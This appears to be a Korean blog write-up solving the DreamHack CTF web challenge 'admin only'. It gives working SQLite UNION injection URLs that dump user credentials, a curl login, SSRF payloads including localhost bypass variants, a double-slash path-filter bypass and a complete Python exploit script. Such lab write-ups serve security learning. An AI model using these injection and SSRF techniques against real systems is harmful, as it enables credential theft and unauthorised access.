SQLi + SSRF 더블 슬래시 필터 우회 — DreamHack admin only 풀이

2026-04-30·1분 읽기·

SQLi + SSRF 더블 슬래시 필터 우회 — DreamHack admin only 풀이

SQLite UNION 인젝션으로 admin 비밀번호를 탈취·로그인하고, /profile의 SSRF를 통해 //getflag (더블 슬래시) 경로 우회로 /getflag 필터를 bypass해 FLAG를 획득하는 풀이.

문제: DreamHack — admin only 분류: Web 난이도: ⭐⭐⭐ Level 3 FLAG: DH{6512d6aa2b2e22f3f5372788c41b55a5}


문제 개요

항목내용
문제명admin only
난이도⭐⭐⭐ Level 3
분류Web
서버http://host8.dreamhack.games:15492/
제공 파일89d2b64d-504c-46ac-adf4-8fe164fd5893.zip (내부: nope 파일)
핵심 취약점SQLite UNION Injection → Admin 탈취 → SSRF + //getflag 경로 우회

zip 파일을 열면 nope! ヾ (✿>﹏⊙〃)ノ 한 줄짜리 파일만 들어있다. /getflag 접근이 거부될 때 서버가 돌려주는 바로 그 메시지. "쉬운 길은 없다"는 힌트.


🔬 분석

Step 1 — 홈페이지 숨겨진 힌트

홈페이지 메인 화면
홈페이지 메인 화면

페이지 소스에 CSS로 숨겨진 힌트 블록이 있다.

code
<div class="h1">          <!-- position: fixed; bottom:0 left:0 -->
  <div class="h2">        <!-- color:#fff, font-size:8px → 흰색 글씨 -->
    <div class="h3">      <!-- display:none -->
      dirb
      <div class="h4">   <!-- visibility:hidden -->
        <div class="hint"> <!-- opacity:0 -->
          robots.txt
        </div>
      </div>
    </div>
  </div>
</div>

힌트 두 가지: dirb (디렉터리 브루트포스), robots.txt.


Step 2 — robots.txt → /getflag 발견

code
http://host8.dreamhack.games:15492/robots.txt
code
User-agent: *
Disallow: /getflag

robots.txt 확인
robots.txt 확인

/getflag 가 크롤링 금지 목록에 등록되어 있다. 이 엔드포인트가 FLAG를 돌려준다. 직접 접근하면 403 + nope!.


Step 3 — /search SQL Injection

검색 페이지의 GET 파라미터 q' (홑따옴표)를 넣으면:

code
http://host8.dreamhack.games:15492/search?q=%27
code
unrecognized token: "'"

SQLite 에러가 날것으로 노출된다 → 파라미터가 쿼리에 직접 삽입됨.

SQL Injection 에러
SQL Injection 에러

컬럼 수 파악 — ORDER BY

%27 은 홑따옴표(')의 URL 인코딩이다. 이게 없으면 SQL 인젝션이 트리거되지 않는다.

code
# 에러 유발 (6번째 컬럼 없음 → out of range 에러)
http://host8.dreamhack.games:15492/search?q=%27+ORDER+BY+6+--+
 
# 성공 (5번째까지는 OK → 빈 결과)
http://host8.dreamhack.games:15492/search?q=%27+ORDER+BY+5+--+

원본 쿼리 컬럼 수 = 5개.

ORDER BY 컬럼 수 확인
ORDER BY 컬럼 수 확인

UNION SELECT — 표시 위치 확인

code
http://host8.dreamhack.games:15492/search?q=%27+UNION+SELECT+1,2,3,4,5+--+

테이블에 1번·2번·4번 컬럼이 출력됨 (3, 5번은 숨겨짐).


Step 4 — 테이블 스키마 + 비밀번호 추출

code
# sqlite_master에서 users DDL 추출
http://host8.dreamhack.games:15492/search?q=%27+UNION+SELECT+sql,name,3,type,5+FROM+sqlite_master+WHERE+name%3D%27users%27+--+
code
CREATE TABLE users (
  id       INTEGER PRIMARY KEY AUTOINCREMENT,
  username TEXT UNIQUE NOT NULL,
  password TEXT NOT NULL,
  role     TEXT NOT NULL,
  image    TEXT
)

표시 컬럼(2번 자리)에 password를 배치:

code
# users 테이블 전체 덤프
http://host8.dreamhack.games:15492/search?q=%27+UNION+SELECT+id,password,username,image,role+FROM+users+--+

Admin 비밀번호 추출
Admin 비밀번호 추출

IDPasswordRole
19cc4d8bb26b53db84f42b6bd3968131fadmin
2asdfuser
31q2w3e4r!user

admin의 password 컬럼값이 MD5 해시처럼 보이지만, 로그인 시 해싱 없이 직접 비교하는 구조다.


Step 5 — Admin 로그인

추출한 해시값을 비밀번호로 그대로 제출:

code
curl -v -c cookies.txt -b cookies.txt \
  -X POST http://host8.dreamhack.games:15492/login \
  -d "username=admin&password=9cc4d8bb26b53db84f42b6bd3968131f"
code
HTTP/1.1 302 FOUND
Location: /
Set-Cookie: session=eyJyb2xlIjoiYWRtaW4iLCJ1c2VybmFtZSI6ImFkbWluIn0...

302 리다이렉트 + Admin 세션 쿠키 발급 → 로그인 성공.

세션 디코드: {"role": "admin", "username": "admin"}

Admin 로그인 성공
Admin 로그인 성공


Step 6 — /profile SSRF 발견

Admin으로 로그인하면 Profile 메뉴가 생긴다. 프로필 페이지에 이미지 URL 입력 폼이 있다.

code
<form method="POST">
  <input type="text" name="image_url" placeholder="Image URL">
  <button type="submit">Update</button>
</form>

서버가 입력한 URL로 HTTP 요청을 보내 이미지를 가져온다 → SSRF 취약점.

SSRF 요청에 현재 사용자의 세션 쿠키가 자동 포함됨도 확인됨 (localhost /profile 접근 시 Profile 페이지 반환).

Profile SSRF 폼
Profile SSRF 폼


💣 핵심 취약점 — //getflag 경로 우회

/getflag에 직접 접근하면 (admin 세션이 있어도) 403이다. 내부 SSRF로 http://127.0.0.1:5000/getflag를 호출해도 403이다.

핵심: Flask/Werkzeug는 //getflag/getflag로 라우팅하지만, /getflag 접근 필터는 request.path == '/getflag' 를 체크한다. //getflag로 요청하면 request.path//getflag로 들어오므로 필터를 우회할 수 있다.

code
# Flask 라우터: //getflag → /getflag 엔드포인트로 매핑됨
# 필터 체크: request.path = '//getflag' → '/getflag' 조건 불일치 → 통과

🎯 풀이 흐름

code
홈페이지 소스 → hidden hint: dirb, robots.txt

    robots.txt → Disallow: /getflag

/search?q=' → SQLite 에러 → UNION Injection (5컬럼)

UNION SELECT → admin password: 9cc4d8bb26b53db84f42b6bd3968131f

POST /login (admin, hash) → 302 → Admin 세션 쿠키

/profile image_url → SSRF (세션 쿠키 포워딩)

SSRF URL: http://127.0.0.1:5000//getflag  ← 더블 슬래시!

FLAG 획득 → 프로필 이미지로 저장됨 (base64 디코딩)

🚀 Full Exploit

code
cd /home/jinho/Dev/Hacking_Project/01_admin_only
python3 solve.py

solve.py 실행 결과
solve.py 실행 결과

solve.py

code
import urllib.request, re, urllib.parse, base64, http.cookiejar
 
BASE = "http://host8.dreamhack.games:15492"
 
# 1. Login
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
opener.open(urllib.request.Request(
    f"{BASE}/login",
    data=b"username=admin&password=9cc4d8bb26b53db84f42b6bd3968131f",
    headers={"Content-Type": "application/x-www-form-urlencoded"},
    method="POST"
), timeout=5)
session = next(c.value for c in cj if c.name == "session")
 
# 2. SSRF → //getflag
opener.open(urllib.request.Request(
    f"{BASE}/profile",
    data=f"image_url={urllib.parse.quote('http://127.0.0.1:5000//getflag')}".encode(),
    headers={"Cookie": f"session={session}", "Content-Type": "application/x-www-form-urlencoded"},
    method="POST"
), timeout=10)
 
# 3. Read flag from profile image
profile = opener.open(urllib.request.Request(
    f"{BASE}/profile", headers={"Cookie": f"session={session}"}
), timeout=5).read().decode()
b64 = re.search(r'base64,([A-Za-z0-9+/=]+)', profile).group(1)
print(base64.b64decode(b64).decode())
# DH{6512d6aa2b2e22f3f5372788c41b55a5}

🐛 삽질 기록 — //getflag 우회 발견 전까지

다 시도해봤는데 /getflag가 계속 403이었던 것들:

시도결과
X-Forwarded-For: 127.0.0.1 헤더403
SSRF → http://127.0.0.1:5000/getflag403 (쿠키 포워딩해도 거부)
SSRF → http://0.0.0.0:5000/getflag403
SSRF → http://2130706433:5000/getflag (decimal IP)403
SSRF → http://[::1]:5000/getflag (IPv6)403
file:// SSRF차단됨
SSTI (`{{7*7}}`, `{{config}}`)에러
Flask 세션 크래킹실패
SQLite readfile() / load_extension()비활성화
로그인 SQLi (admin'--)세션 미발급

SSRF가 세션 쿠키를 포워딩한다는 건 확인했는데, /getflag 필터 우회 방법을 못 찾아서 한참 막혔다. //getflag (더블 슬래시) 이 아이디어는 경로 정규화 vs. 필터 체크의 타이밍 차이를 이용한 것.


📝 결론

hidden hint 패턴 — CSS로 숨긴 힌트(display:none, opacity:0 등)는 소스를 직접 확인해야 한다. 렌더된 화면에서는 절대 보이지 않는다.

SQLite ORDER BY 열거 — UNION 컬럼 수 파악에 ORDER BY N을 사용하면 빠르게 범위를 좁힐 수 있다. 에러 메시지가 그대로 노출된다면 SQLite임을 바로 확정할 수 있다.

평문처럼 저장된 해시 — password 컬럼의 값이 MD5처럼 보여도, 로그인 로직이 해싱 없이 직접 비교한다면 추출한 값을 그대로 사용 가능하다. 입력값을 해싱하지 않는 구조임을 먼저 확인하는 게 중요하다.

SSRF + 경로 우회 조합//getflag는 Flask 라우터에서 /getflag와 동일하게 처리되지만, 필터가 정확히 /getflag만 체크한다면 더블 슬래시로 우회할 수 있다. URL 정규화 타이밍의 허점을 노린 기법으로, SSRF가 없었다면 불가능했을 조합이다.

ShareX

이 글이 도움이 됐나요?